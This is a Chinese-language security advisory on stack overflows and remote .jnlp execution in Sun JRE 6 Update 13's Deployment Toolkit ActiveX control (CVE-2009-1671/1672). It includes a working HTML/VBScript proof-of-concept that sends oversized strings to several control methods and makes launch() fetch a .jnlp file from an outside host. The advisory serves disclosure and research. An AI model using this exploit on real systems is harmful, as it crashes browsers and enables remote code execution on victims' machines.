发布日期：2009-05-13
更新日期：2009-05-19

受影响系统：

Sun JRE 6 Update 13

描述：

---

BUGTRAQ  ID: 34931
CVE(CAN) ID: CVE-2009-1671，CVE-2009-1672

Solaris系统的Java运行时环境（JRE）为JAVA应用程序提供可靠的运行环境。

Java运行时环境的deploytk.dll库所提供的Deployment Toolkit ActiveX控件中存在多个栈溢出漏洞，如果远程攻击者向setInstallerType、setAdditionalPackages、compareVersion、getStaticCLSID或launch方式传送了超长字符串参数的话，就可能触发这些溢出，导致执行任意指令；此外攻击者还可以通过向launch方式传送.jnlp URL参数执行任意代码，或通过installLatestJRE、installJRE方式启动JRE安装进程。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://www.milw0rm.com/exploits/8665
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<object classid='clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' id='test' height = 0 width = 0></object>

<select style="width: 404px" name="Pucca">
  <option value = "setInstallerType">setInstallerType</option>
  <option value = "setAdditionalPackages">setAdditionalPackages</option>
  <option value = "installLatestJRE">installLatestJRE</option>
  <option value = "compareVersion">compareVersion</option>
  <option value = "installJRE">installJRE</option>
  <option value = "getStaticCLSID">getStaticCLSID</option>
  <option value = "launch">launch (remote .jnlp execution)</option>
  <option value = "launch1">launch (stack-based BoF)</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
  
  If Pucca.Value = "setInstallerType" Then
   buff = String(1500000, "A")
   test.setInstallerType buff
  ElseIf Pucca.Value = "setAdditionalPackages" Then
   buff = String(1500000, "A")
   test.setAdditionalPackages buff
  ElseIf Pucca.Value = "installLatestJRE" Then
   test.installLatestJRE
  ElseIf Pucca.Value = "compareVersion" Then
   buff = String(1500000, "A")
   test.compareVersion buff, buff
  ElseIf Pucca.Value = "installJRE" Then
   test.installJRE ""
  ElseIf Pucca.Value = "getStaticCLSID" Then
   buff = String(1500000, "A")
   test.getStaticCLSID buff
  ElseIf Pucca.Value = "launch" Then
   If(MsgBox(vbCrLf & "This exploit will launch the ForCicle.jnlp hosted on http://www.shinnai.net/" & _
      vbCrLf & "The file is trusted and just run a infinite loop which will lead into a resource consuption.          " & _
      vbCrLf & vbCrLf & "ARE YOU SURE YOU REALLY WANT TO RUN THE EXPLOIT?" & vbCrLf & vbCrLf, 1, "shinnai")=vbOk) Then
    buff = "http://www.shinnai.net/jre/ForCicle.jnlp"
    test.launch buff
    test.launch buff
    test.launch buff
    test.launch buff
    test.launch buff
   Else
   End if
  ElseIf Pucca.Value = "launch1" Then
   buff = String(1500000, "A")
   test.launch buff
  Else
   MsgBox Err.Description, vbCritical, "shinnai"
  End if
End Sub
</script>

建议：

---

厂商补丁：

Sun
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sunsolve.sun.com/security

浏览次数：11550
严重程度：0（网友投票）